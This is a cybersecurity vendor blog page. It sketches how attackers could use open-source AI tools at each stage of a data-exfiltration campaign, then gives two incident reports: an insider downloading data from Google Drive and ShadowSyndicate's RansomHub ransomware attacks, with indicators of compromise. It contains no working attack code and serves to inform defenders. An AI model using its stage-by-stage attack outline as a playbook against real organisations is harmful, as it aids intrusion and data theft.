Cyber attacks are relentless and ever-evolving. Learn how cyber-criminals are using AI to augment their attacks at every stage of the kill chain.
Overview
The mind of an experienced and dedicated cyber-criminal works like that of an entrepreneur: the relentless pursuit of profit guides every move they make. At each step of the journey towards their objective, the same questions are asked: how can I minimize my time and resources? How can I mitigate against risk? What measures can I take which will return the best results?
Incorporating this ‘enterprise’ model into the cyber-criminal framework uncovers why attackers are turning to new technology in an attempt to maximize efficiency, and why a report from Forrester earlier this year revealed that 88% of security leaders now consider the nefarious use of AI in cyber activity to be inevitable. Over half of the responders to that same survey foresee AI attacks manifesting themselves to the public in the next twelve months – or think they are already occurring.
AI has already achieved breakthroughs in fields such as healthcare, facial recognition, voice assistance and many others. In the current cat-and-mouse game of cyber security, defenders have started to accept that augmenting their defenses with AI is necessary, with over 3,500 organizations using machine learning to protect their digital environments. But we have to be ready for the moment attackers themselves use open-source AI technology available today to supercharge their attacks.
Enhancing the attack life cycle
To a cyber-criminal ring, the benefits of leveraging AI in their attacks are at least four-fold:
It gives them an understanding of context
It helps to scale up operations
It makes attribution and detection harder
It ultimately increases their profitability
To best demonstrate how each of these factors surface themselves, we can break down the life cycle of a typical data exfiltration attempt, telling the story of how AI can augment the attacker during the campaign at every stage of the attack.
ReconnaissanceCAPTCHA breakerIntrusionShellphish and SNAP_RC2 establishmentFirstOrder and unsupervised clustering algorithmPrivilege escalationCeWL and neural networkLateral movementMITRE CALDERAMission accomplishedYahoo NSFW
Figure 1: The ‘AI toolbox’ attackers use to augment their attacks
Stage 1: Reconnaissance
In seeking to garner trust and make inroads into an organization, automated chatbots would first interact with employees via social media, leveraging profile pictures of non-existent people created by AI instead of re-using actual human photos. Once the chatbots have gained the trust of the victims at the target organization, the human attackers can gain valuable intelligence about its employees, while CAPTCHA-breakers are used for automated reconnaissance on the organization’s public-facing web pages.
Forrester estimates that AI-enabled ‘deep fakes’ will cost businesses a quarter of a billion dollars in losses in 2020.
Stage 2: Intrusion
This intelligence would then be used to craft convincing spear phishing attacks, whilst an adapted version of SNAP_R can be leveraged to create realistic tweets at scale – targeting several key employees. The tweets either trick the user into downloading malicious documents, or contain links to servers which facilitate exploit-kit attacks.
An autonomous vulnerability fuzzing engine based on Shellphish would be constantly crawling the victim’s perimeter – internet-facing servers and websites – and trying to find new vulnerabilities for an initial foothold.
Stage 3: Command and control
A popular hacking framework, Empire, allows attackers to ‘blend in’ with regular business operations, restricting command and control traffic to periods of peak activity. An agent using some form of automated decision-making engine for lateral movement might not even require command and control traffic to move laterally. Eliminating the need for command and control traffic drastically reduces the detection surface of existing malware.
Stage 4: Privilege escalation
At this stage, a password crawler like CeWL could collect target-specific keywords from internal websites and feed those keywords into a pre-trained neural network, essentially creating hundreds of realistic permutations of contextualized passwords at machine-speed. These can be automatically entered in period bursts so as to not alert the security team or trigger resets.
Stage 5: Lateral movement
Moving laterally and harvesting accounts and credentials involves identifying the optimal paths to accomplish the mission and minimize intrusion time. Parts of the attack planning can be accelerated by concepts such as from the CALDERA framework using automated planning AI methods. This would greatly reduce the time required to reach the final destination.
Stage 6: Data exfiltration
It is in this final stage where the role of offensive AI is most apparent. Instead of running a costly post-intrusion analysis operation and sifting through gigabytes of data, the attackers can leverage a neural network that pre-selects only relevant material for exfiltration. This neural network is pre-trained and therefore has a basic understanding of what valuable material constitutes and flags those for immediate exfiltration. The neural network could be based on something like Yahoo’s open-source project for content recognition.
Conclusion
Today’s attacks still require several humans behind the keyboard making guesses about the sorts of methods that will be most effective in their target network – it’s this human element that often allows defenders to neutralize attacks.
Offensive AI will make detecting and responding to attacks far more difficult. Open-source research and projects exist today which can be leveraged to augment every phase of the attack lifecycle. This means that the speed, scale, and contextualization of attacks will exponentially increase. Traditional security controls are already struggling to detect attacks that have never been seen before in the wild – be it malware without known signatures, new command and control domains, or individualized spear phishing emails. There is no chance that traditional tools will be able to cope with future attacks as this becomes the norm and easier to realize than ever before.
To stay ahead of this next wave of attacks, AI is becoming a necessary part of the defender’s stack, as no matter how well-trained or how well-staffed, humans alone will no longer be able to keep up. Hundreds of organizations are already using Autonomous Response to fight back against new strains of ransomware, insider threats, previously unknown techniques, tools and procedures, and many other threats. Cyber AI technology allows human responders to take stock and strategize from behind the front line. A new age in cyber defense is just beginning, and the effect of AI on this battleground is already proving fundamental.
Like this and want more?
Receive the latest blog in your inbox
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Newsletter
Enjoying the blog?
Sign up to receive the latest news and insights from the Darktrace newsletter – delivered directly to your inbox
Thanks for signing up!
Look out for your first newsletter, coming soon.
Oops! Something went wrong while submitting the form.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Bytesize Security: Insider Threats in Google Workspace
What is an insider threat?
An insider threat is a cyber risk originating from within an organization. These threats can involve actions such as an employee inadvertently clicking on a malicious link (e.g., a phishing email) or an employee with malicious intent conducting data exfiltration for corporate sabotage.
Insiders often exploit their knowledge and access to legitimate corporate tools, presenting a continuous risk to organizations. Defenders must protect their digital estate against threats from both within and outside the organization.
For example, in the summer of 2024, Darktrace / IDENTITY successfully detected a user in a customer environment attempting to steal sensitive data from a trusted Google Workspace service. Despite the use of a legitimate and compliant corporate tool, Darktrace identified anomalies in the user’s behavior that indicated malicious intent.
Attack overview: Insider threat
In June 2024, Darktrace detected unusual activity involving the Software-as-a-Service (SaaS) account of a former employee from a customer organization. This individual, who had recently left the company, was observed downloading a significant amount of data in the form of a “.INDD” file (an Adobe InDesign document typically used to create page layouts [1]) from Google Drive.
While the use of Google Drive and other Google Workspace platforms was not unexpected for this employee, Darktrace identified that the user had logged in from an unfamiliar and suspicious IPv6 address before initiating the download. This anomaly triggered a model alert in Darktrace / IDENTITY, flagging the activity as potentially malicious.
Figure 1: A Model Alert in Darktrace / IDENTITY showing the unusual “.INDD” file being downloaded from Google Workspace.
Following this detection, the customer reached out to Darktrace’s Security Operations Center (SOC) team via the Security Operations Support service for assistance in triaging and investigating the incident further. Darktrace’s SOC team conducted an in-depth investigation, enabling the customer to identify the exact moment of the file download, as well as the contents of the stolen documents. The customer later confirmed that the downloaded files contained sensitive corporate data, including customer details and payment information, likely intended for reuse or sharing with a new employer.
In this particular instance, Darktrace’s Autonomous Response capability was not active, allowing the malicious insider to successfully exfiltrate the files. If Autonomous Response had been enabled, Darktrace would have immediately acted upon detecting the login from an unusual (in this case 100% rare) location by logging out and disabling the SaaS user. This would have provided the customer with the necessary time to review the activity and verify whether the user was authorized to access their SaaS environments.
Conclusion
Insider threats pose a significant challenge for traditional security tools as they involve internal users who are expected to access SaaS platforms. These insiders have preexisting knowledge of the environment, sensitive data, and how to make their activities appear normal, as seen in this case with the use of Google Workspace. This familiarity allows them to avoid having to use more easily detectable intrusion methods like phishing campaigns.
Darktrace’s anomaly detection capabilities, which focus on identifying unusual activity rather than relying on specific rules and signatures, enable it to effectively detect deviations from a user’s expected behavior. For instance, an unusual login from a new location, as in this example, can be flagged even if the subsequent malicious activity appears innocuous due to the use of a trusted application like Google Drive.
Credit to Vivek Rajan (Cyber Analyst) and Ryan Traill (Analyst Content Lead)
Appendices
Darktrace Model Detections
SaaS / Resource::Unusual Download Of Externally Shared Google Workspace File
RansomHub Ransomware: Darktrace’s Investigation of the Newest Tool in ShadowSyndicate's Arsenal
What is ShadowSyndicate?
ShadowSyndicate, also known as Infra Storm, is a threat actor reportedly active since July 2022, working with various ransomware groups and affiliates of ransomware programs, such as Quantum, Nokoyawa, and ALPHV. This threat actor employs tools like Cobalt Strike, Sliver, IcedID, and Matanbuchus malware in its attacks. ShadowSyndicate utilizes the same SSH fingerprint (1ca4cbac895fc3bd12417b77fc6ed31d) on many of their servers—85 as of September 2023. At least 52 of these servers have been linked to the Cobalt Strike command and control (C2) framework [1].
What is RansomHub?
First observed following the FBI's takedown of ALPHV/BlackCat in December 2023, RansomHub quickly gained notoriety as a Ransomware-as-a-Service (RaaS) operator. RansomHub capitalized on the law enforcement’s disruption of the LockBit group’s operations in February 2024 to market themselves to potential affiliates who had previously relied on LockBit’s encryptors. RansomHub's success can be largely attributed to their aggressive recruitment on underground forums, leading to the absorption of ex-ALPHV and ex-LockBit affiliates. They were one of the most active ransomware operators in 2024, with approximately 500 victims reported since February, according to their Dedicated Leak Site (DLS) [2].
ShadowSyndicate and RansomHub
External researchers have reported that ShadowSyndicate had as many as seven different ransomware families in their arsenal between July 2022, and September 2023. Now, ShadowSyndicate appears to have added RansomHub’s their formidable stockpile, becoming an affiliate of the RaaS provider [1].
Darktrace’s analysis of ShadowSyndicate across its customer base indicates that the group has been leveraging RansomHub ransomware in multiple attacks in September and October 2024. ShadowSyndicate likely shifted to using RansomHub due to the lucrative rates offered by this RaaS provider, with affiliates receiving up to 90% of the ransom—significantly higher than the general market rate of 70-80% [3].
In many instances where encryption was observed, ransom notes with the naming pattern “README_[a-zA-Z0-9]{6}.txt” were written to affected devices. The content of these ransom notes threatened to release stolen confidential data via RansomHub’s DLS unless a ransom was paid. During these attacks, data exfiltration activity to external endpoints using the SSH protocol was observed. The external endpoints to which the data was transferred were found to coincide with servers previously associated with ShadowSyndicate activity.
Darktrace’s coverage of ShadowSyndicate and RansomHub
Darktrace’s Threat Research team identified high-confidence indicators of compromise (IoCs) linked to the ShadowSyndicate group deploying RansomHub. The investigation revealed four separate incidents impacting Darktrace customers across various sectors, including education, manufacturing, and social services. In the investigated cases, multiple stages of the kill chain were observed, starting with initial internal reconnaissance and leading to eventual file encryption and data exfiltration.
Attack Overview
Internal Reconnaissance
The first observed stage of ShadowSyndicate attacks involved devices making multiple internal connection attempts to other internal devices over key ports, suggesting network scanning and enumeration activity. In this initial phase of the attack, the threat actor gathers critical details and information by scanning the network for open ports that might be potentially exploitable. In cases observed by Darktrace affected devices were typically seen attempting to connect to other internal locations over TCP ports including 22, 445 and 3389.
C2 Communication and Data Exfiltration
In most of the RansomHub cases investigated by Darktrace, unusual connections to endpoints associated with Splashtop, a remote desktop access software, were observed briefly before outbound SSH connections were identified.
Following this, Darktrace detected outbound SSH connections to the external IP address 46.161.27[.]151 using WinSCP, an open-source SSH client for Windows used for secure file transfer. The Cybersecurity and Infrastructure Security Agency (CISA) identified this IP address as malicious and associated it with ShadowSyndicate’s C2 infrastructure [4]. During connections to this IP, multiple gigabytes of data were exfiltrated from customer networks via SSH.
Data exfiltration attempts were consistent across investigated cases; however, the method of egress varied from one attack to another, as one would expect with a RaaS strain being employed by different affiliates. In addition to transfers to ShadowSyndicate’s infrastructure, threat actors were also observed transferring data to the cloud storage and file transfer service, MEGA, via HTTP connections using the ‘rclone’ user agent – a command-line program used to manage files on cloud storage. In another case, data exfiltration activity occurred over port 443, utilizing SSL connections.
Lateral Movement
In investigated incidents, lateral movement activity began shortly after C2 communications were established. In one case, Darktrace identified the unusual use of a new administrative credential which was quickly followed up with multiple suspicious executable file writes to other internal devices on the network.
The filenames for this executable followed the regex naming convention “[a-zA-Z]{6}.exe”, with two observed examples being “bWqQUx.exe” and “sdtMfs.exe”.
Figure 1: Cyber AI Analyst Investigation Process for the SMB Writes of Suspicious Files to Multiple Devices' incident.
Additionally, script files such as “Defeat-Defender2.bat”, “Share.bat”, and “def.bat” were also seen written over SMB, suggesting that threat actors were trying to evade network defenses and detection by antivirus software like Microsoft Defender.
File Encryption
Among the three cases where file encryption activity was observed, file names were changed by adding an extension following the regex format “.[a-zA-Z0-9]{6}”. Ransom notes with a similar naming convention, “README_[a-zA-Z0-9]{6}.txt”, were written to each share. While the content of the ransom notes differed slightly in each case, most contained similar text. Clear indicators in the body of the ransom notes pointed to the use of RansomHub ransomware in these attacks. As is increasingly the case, threat actors employed double extortion tactics, threatening to leak confidential data if the ransom was not paid. Like most ransomware, RansomHub included TOR site links for communication between its "customer service team" and the target.
Figure 2: The graph shows the behavior of a device with encryption activity, using the “SMB Sustained Mimetype Conversion” and “Unusual Activity Events” metrics over three weeks.
Since Darktrace’s Autonomous Response capability was not enabled during the compromise, the ransomware attack succeeded in its objective. However, Darktrace’s Cyber AI Analyst provided comprehensive coverage of the kill chain, enabling the customer to quickly identify affected devices and initiate remediation.
Figure 3: Cyber AI Analyst panel showing the critical incidents of the affected device from one of the cases investigated.
In lieu of Autonomous Response being active on the networks, Darktrace was able to suggest a variety of manual response actions intended to contain the compromise and prevent further malicious activity. Had Autonomous Response been enabled at the time of the attack, these actions would have been quickly applied without any human interaction, potentially halting the ransomware attack earlier in the kill chain.
Figure 4: A list of suggested Autonomous Response actions on the affected devices."
Conclusion
The Darktrace Threat Research team has noted a surge in attacks by the ShadowSyndicate group using RansomHub’s RaaS of late. RaaS has become increasingly popular across the threat landscape due to its ease of access to malware and script execution. As more individual threat actors adopt RaaS, security teams are struggling to defend against the increasing number of opportunistic attacks.
For customers subscribed to Darktrace’s Security Operations Center (SOC) services, the Analyst team promptly investigated detections of the aforementioned unusual and anomalous activities in the initial infection phases. Multiple alerts were raised via Darktrace’s Managed Threat Detection to warn customers of active ransomware incidents. By emphasizing anomaly-based detection and response, Darktrace can effectively identify devices affected by ransomware and take action against emerging activity, minimizing disruption and impact on customer networks.
Credit to Kwa Qing Hong (Senior Cyber Analyst and Deputy Analyst Team Lead, Singapore) and Signe Zahark (Principal Cyber Analyst, Japan)
